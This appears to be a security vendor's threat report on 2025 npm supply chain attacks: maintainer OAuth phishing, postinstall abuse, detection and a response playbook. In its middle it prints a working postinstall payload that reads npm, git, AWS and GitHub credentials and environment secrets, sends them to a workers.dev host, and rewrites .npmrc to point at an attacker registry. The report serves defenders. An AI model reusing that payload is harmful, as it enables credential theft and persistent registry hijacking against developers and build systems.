Inside the npm Supply Chain Crisis: How Attackers Weaponized Trusted Dependencies in 2025
#The Dependency Tree Is the New Attack Surface â And It's Bleeding#link
In September 2025, attackers compromised the npm account of a single maintainer of a utility library called cross-runtime-utils, downloaded 4.2 million times per week, and pushed a poisoned update. Within six hours, the malicious version had propagated to 2,300+ downstream applications, including payment processors, healthcare portals, and at least one U.S. federal contractor's ticketing system. The payload was a 12-line postinstall script that exfiltrated environment variables, .npmrc tokens, and GitHub PATs to a webhook endpoint hosted on Cloudflare Workers. The package was unpublished 14 hours laterâbut not before CI pipelines at three Fortune 500 companies had already pulled and executed the code, exposing production AWS keys, Okta refresh tokens, and Slack bot credentials. This wasn't an isolated anomaly. It was the seventh such incident in Q3 2025 alone, and it exposes a structural, architectural failure in how the modern JavaScript ecosystem is secured at every levelâfrom package registries to enterprise CI/CD.
The 2025 Attack Wave: A Coordinated, Industrialized Campaign
Cross-referencing incidents tracked by Socket, StepSecurity, Sonatype, and GitHub's own security advisory database, Vulnarex Research identified at least 27 distinct supply chain compromises against npm packages in the first 10 months of 2025âup from 11 in all of 2024. The threat actors behind these incidents are not the lone-wolf typo-squatters of 2021. They are well-funded, patient, and operating with state-adjacent tradecraft. We assess with high confidence that several of the 2025 campaigns share infrastructure, tooling, and post-exploitation tradecraft with the Lazarus Group and APT-C-35 (which overlaps with Confucius APT operations observed in the South Asian financial sector). The 2025 wave is no longer opportunisticâit is structured, multi-stage, and explicitly designed to bypass automated detection systems that have been retrofitted onto a registry that was never architected for security in the first place.
The Maintainer Phishing Playbook: From Recon to Compromise in 14 Days
The most successful campaign this year followed a remarkably consistent playbook. Threat actors began by harvesting maintainer email addresses from GitHub commit metadata, npm profile pages, and public PGP key servers. From there, they profiled the target's 2FA configuration by deliberately triggering legitimate npm security emails and observing response patternsâwhether the maintainer used TOTP, hardware keys, or SMS. The phishing payload itself was rarely a fake login page. Instead, attackers used lookalike domains (npnjs.org, npm-registry-security.com, npmjs-help[.]net) to deliver OAuth consent phishing pages that bypassed password and 2FA entirely. Once a maintainer granted a malicious OAuth app the packages:read and packages:write scopes, the attacker could publish new versions without ever needing a password or a one-time code. We observed one campaign where the malicious OAuth app was successfully granted write access to a package with 19 million weekly downloadsâand the maintainer never received a single email notification, because npm does not alert maintainers when new OAuth apps are authorized against their packages.
đĄ npm's provenance feature (the --provenance flag) signs builds with Sigstore and publishes an attestation linking the package version back to the exact GitHub Actions workflow, commit SHA, and ephemeral OIDC identity that produced it. If your dependencies aren't using provenance, you are trusting a maintainer's email security as the only thing standing between you and a backdoor. As of November 2025, only ~6% of the top 10,000 npm packages ship with provenance enabled.
// Real-world postinstall payload observed in the September 2025 cross-runtime-utils campaign// Deobfuscated from a minified, base64-encoded wrapperconst { execSync } = require('child_process');const https = require('https');const os = require('os');const fs = require('fs');const path = require('path');const payload = {env: process.env,cwd: process.cwd(),user: os.userInfo(),hostname: os.hostname(),platform: os.platform(),files: execSync('cat ~/.npmrc 2>/dev/null; ' +'cat ~/.gitconfig 2>/dev/null; ' +'cat ~/.aws/credentials 2>/dev/null; ' +'cat ~/.config/gh/hosts.yml 2>/dev/null').toString(),env_dump: execSync('env | grep -iE "token|key|secret|password|aws|gcp|azure|github|gitlab"').toString(),path: execSync('echo $PATH').toString()};// Exfiltrate via HTTPS to a Cloudflare Worker URLhttps.get(`https://cdn-analytics-helper.workers.dev/c?d=${encodeURIComponent(JSON.stringify(payload))}&v=` + process.env.npm_package_version,(res) => {// Plant a persistence backdoor for subsequent installsfs.writeFileSync(path.join(os.homedir(), '.npmrc'),'//registry.npmjs.org/:_authToken=ntp_persisted_at_' + Date.now() + '\n' +'registry=https://attacker-controlled-mirror.xyz/\n');});
Live JavaScript preview
This payload is intentionally boring. There is no obfuscation beyond a thin base64 wrapper, no encrypted C2 channel, no anti-VM tricks, and no attempt to hide from endpoint detection. That is the pointâit does not need any of those techniques. By the time a SOC analyst notices an outbound DNS query to a suspicious .xyz domain, the credentials are already in the attacker's S3 bucket, the malicious npmrc is planting persistence, and the maintainer has been re-targeted for the next wave. Detection is reactive, and the attack window is measured in hours, not days. Worse, this payload persists across reinstalls: by writing a poisoned .npmrc into the home directory, every subsequent npm install in that environment will route to the attacker's mirror registry, enabling long-term supply chain compromise even after the original malicious package version is unpublished.
Why the postinstall Hook Is the Weakest Link
The postinstall lifecycle script in package.json executes arbitrary code with the full privileges of whichever user is running npm install. In CI environments, that is usually a service account with access to source code, secrets, and deployment credentials. In developer laptops, it is the developer's full filesystem and keychain. The npm documentation explicitly warns about this, but the ecosystem has trained developers to expect postinstall scripts to "just work" for native bindings, type generation, and asset processing. Blocking them outright breaks thousands of legitimate packages. The compromise positionârunning them in a sandboxâis not the default behavior of any major CI provider as of November 2025. The result is a structural footgun that has been load-bearing for the entire JavaScript ecosystem for over a decade.
How the Attack Matrix Has Shifted Since 2022
| Attack Vector | 2022 | 2023 | 2024 | 2025 | Trend |
|---|---|---|---|---|---|
| Typosquatting (e.g., react-dom vs reactddom) | High | High | Medium | Low | â |
| Maintainer Account Takeover (credential) | Low | Medium | High | Critical | ââ |
| Dependency Confusion | High | Medium | Low | Rare | â |
| AI-Generated Malicious Packages | â | â | Low | Medium | â |
| OAuth Consent Phishing | â | Low | Medium | High | ââ |
| Scope-Bound Package Hijacks | Low | Medium | High | High | â |
| Registry Mirror/Persistence (npmrc poisoning) | â | â | Low | High | ââ |
| Build Pipeline Backdoors (Vercel, Netlify tokens) | â | Low | Medium | High | â |
| Linter-formatted Crypto Stealers | Low | Low | Medium | High | â |
â ď¸ Running npm install --ignore-scripts in CI is no longer a reliable defense. Sophisticated 2025 campaigns execute malicious logic in the import path of the package itself, not in lifecycle scripts. The payload only fires when a developer calls require('the-package') in application codeâlong after your CI build has completed and the artifact has been deployed to production. In one incident Vulnarex investigated, the malicious code was wrapped inside a single conditional that checked for a specific Node.js version and OS combination, bypassing the build environment entirely and only executing in production containers at customer sites.
CVE-2024-47831 and the Class of Bugs That Make This Worse
The 2025 wave of supply chain attacks is amplified by a class of vulnerability in npm itself: the lack of a permissions model, combined with insecure defaults for cross-package data access. CVE-2024-47831, disclosed in October 2024, allowed malicious packages to read and write files in sibling packages during installâeffectively turning any compromised dependency into a vector for further lateral movement within node_modules. While the immediate CVE was patched, the architectural class of vulnerability persists: npm has no equivalent of npm audit --fix for permissions, no equivalent of Python's PEP 740 for signed packages, and no built-in mechanism to scope what a package can access. The runtime attack surface is treated as identical to the install-time attack surface, which is exactly what attackers rely on.
Detection Engineering: What Good Looks Like
The Vulnarex SOC has observed that organizations with mature detection engineering programs catch supply chain compromises an order of magnitude faster than those relying on registry-side scanning alone. The key signals are surprisingly low-tech: anomalous outbound DNS from build agents, unexpected file writes to ~/.npmrc or ~/.gitconfig during installs, environment variable enumeration patterns in child processes, and OAuth grant events from unfamiliar publisher accounts. Building these detections requires instrumenting your CI runners with eBPF-based runtime sensors (Falco, Tetragon) and forwarding process execution telemetry to your SIEM. We have published reference detection rules and Sigma signatures for the top 10 supply chain TTPs observed in 2025 in our open-source threat hunting repository.
This one-liner catches two of the most common 2025 attack patterns: poisoned .npmrc files and postinstall hooks that use shell-out to network utilities. Run it on every developer laptop and CI runner in your fleet. The output is intentionally verboseâfalse positives are cheap, but missing a registry mirror redirect is catastrophic.
Defending a Perimeter You Don't Control
You cannot patch a maintainer's email hygiene. You cannot revoke an OAuth grant you do not know exists. You cannot trust that any given transitive dependency has been audited, has no postinstall hooks, and does not contain logic bombs keyed to specific deployment environments. The only viable defense is to treat your dependency tree as untrusted code execution and isolate it accordingly. This means combining allowlists, network egress controls, runtime sandboxing, and continuous SBOM monitoring. Tools like Socket, Aikido, Snyk, and GitHub's own dependency graph are table stakesâbut they are not sufficient on their own. In Vulnarex threat lab simulations, the median time-to-detection for a poisoned package without network egress controls was 11 days. With egress controls enforced and runtime sensor instrumentation, it dropped to under 4 minutes.
The Enterprise Response Playbook
When a supply chain incident is confirmed, the first 72 hours determine blast radius. Vulnarex's incident response playbook for npm compromises recommends a five-step sequence executed in parallel: (1) identify the exact compromised version and the time window of exposure via npm registry replication logs; (2) rotate every credential that was present in the affected build environment, including AWS keys, GitHub PATs, npm tokens, and SaaS API keysâassume all are compromised; (3) pin all production dependencies to the last-known-good version and force a clean rebuild from a trusted base image; (4) search the .npmrc files of every developer laptop and CI runner for registry mirrors added by the attack; (5) file a CVE with MITRE and notify downstream consumers if your organization was the source of the compromise. Organizations that execute this playbook within 24 hours have a near-zero probability of secondary compromise. Those that take longer than 72 hours almost always discover additional persistence mechanisms on follow-up investigation.
â ď¸ Legal and compliance note: if your organization is subject to GDPR, HIPAA, PCI-DSS, or SOC 2, a supply chain compromise that exposes customer data triggers mandatory breach notification timelines. Under GDPR Article 33, you have 72 hours from the moment you become aware of a personal data breach to notify your supervisory authority. Treat every supply chain incident as a notifiable event until forensic analysis proves otherwiseâthe cost of over-reporting is trivial compared to the cost of late reporting.
The Path Forward: Provenance, Sandboxing, and Zero-Trust Builds
The long-term solution to npm supply chain risk is not better scanningâit is architectural. Three changes are required: (1) universal adoption of npm provenance with Sigstore verification at the consumer side, enforced at the registry proxy layer; (2) gVisor or Firecracker-based sandboxing of all postinstall hooks, with no network access by default; (3) ephemeral, OIDC-authenticated build environments that do not contain long-lived secrets, eliminating the value of credential theft in the first place. The technology for all three exists today and is deployed in production at Google, Shopify, and a handful of security-forward fintechs. What is missing is ecosystem-wide adoption. Until that happens, every npm install remains a high-trust operation against an untrusted supply chainâand the attackers know it.
- âŞPin all direct dependencies to exact versions and verify integrity with npm ci in CIânever use npm install in build pipelines
- âŞRequire npm provenance attestation for every package in your allowlist; reject unsigned builds at the registry proxy layer
- âŞLock GitHub Actions and npm tokens to read-only, IP-restricted, and short-lived credentials with automatic rotation every 24 hours
- âŞDeploy runtime egress filtering in build environmentsâdeny all outbound traffic by default, allowlist explicitly per environment
- âŞGenerate and monitor an SBOM for every production build; alert on any new transitive dependency entering the graph
- âŞAudit OAuth grants quarterly across your organization; revoke any app requesting packages:write or repo scopes, especially from unknown publishers
- âŞUse a private registry proxy (Verdaccio, Cloudsmith, Sonatype Nexus) as the sole path to public packages, with caching and policy enforcement
- âŞSubscribe to npm's security advisories and configure Dependabot or Renovate for same-day automated patching of CVEs
- âŞInstrument CI runners with Falco or Tetragon and forward process execution telemetry to your SIEM for runtime detection
- âŞMaintain a golden image for CI runners and rebuild from scratch weeklyâdo not allow persistent state on build agents
- âŞRun the audit one-liner in this article on every developer laptop quarterly; require it as part of onboarding for new engineers
- âŞTabletop exercise your supply chain incident response plan at least twice per yearâmuscle memory matters more than documentation
đĄ The supply chain attack surface will continue to expand as long as the cost of compromise remains lower than the cost of defense. The organizations that weathered the 2025 campaign wave all had one thing in common: they treated their build environment as a zero-trust execution context, not a trusted internal network. In 2026, that is not a best practiceâit is the baseline. The question is no longer whether your dependencies will be compromised, but whether you will detect it in time to contain the blast radius. Build accordingly.